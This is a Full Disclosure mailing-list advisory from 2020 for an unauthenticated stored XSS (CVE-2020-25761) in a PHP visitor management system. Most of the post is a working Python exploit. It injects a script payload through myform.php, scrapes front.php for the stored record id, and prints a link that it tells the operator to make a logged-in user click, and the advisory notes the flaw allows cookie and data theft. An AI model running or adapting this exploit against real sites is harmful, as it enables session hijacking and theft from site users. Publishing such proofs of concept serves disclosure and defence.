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Date: Sat, 19 Sep 2020 19:45:38 -0400 From: Ava Tester One <avatesterone@...il.com> To: fulldisclosure@...lists.org Subject: [FD] Visitor Management System in PHP 1.0 - Unauthenticated Stored XSS # Title: Visitor Management System in PHP 1.0 - Unauthenticated Stored XSS # Exploit Author: Rahul Ramkumar # Date: 2020-09-16 # Vendor Homepage: https://projectworlds.in # Software Link: https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-in-PHP.zip # Version: 1.0 # Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1 # CVE: CVE-2020-25761 # Description: The file myform.php does not perform input validation on the request parameters. An attacker can inject javascript payloads in the parameters to perform various attacks such as stealing of cookies,sensitive information etc. import requests, sys, urllib, re from lxml import etree from io import StringIO from colorama import Fore, Back, Style requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) import random import string def print_usage(STRING): return Style.BRIGHT+Fore.YELLOW+STRING+Fore.RESET if __name__ == "__main__": if len(sys.argv) != 2: print print_usage("Usage:\t\t python %s <WEBAPP_URL>" % sys.argv[0]) print print_usage("Example:\t python %s ' https://192.168.1.72:443/visitor_management/'" % sys.argv[0]) sys.exit(-1) SERVER_URL = sys.argv[1] XSS_DIR = '/myform.php' XSS_URL = SERVER_URL + XSS_DIR XSS_PoC_URL = SERVER_URL + '/front.php' s = requests.Session() s.get(SERVER_URL, verify=False) payload = {'name': 'd3crypt','cno':'9876543210','purpose':'stored xss','MeetingTo':'Hack','comment':'<script>alert("xss")</script>','submit_post':'Submit','mydata':''} r1 = s.post(url=XSS_URL, data=payload, verify=False) r2 = s.get(XSS_PoC_URL, allow_redirects=False, verify=False) response_page = r2.content.decode("utf-8") parser = etree.HTMLParser() tree = etree.parse(StringIO(response_page), parser=parser) def get_links(tree): refs = tree.xpath("//a") links = [link.get('data-content', '') for link in refs] return [l for l in links] visitors = get_links(tree) #print(visitors) for visitor in visitors: if 'stored xss' in visitor: rid=visitor.split(':')[6].strip() print print_usage('Make the logged-in user click this URL: ' + XSS_PoC_URL + '?rid=' + rid) _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/
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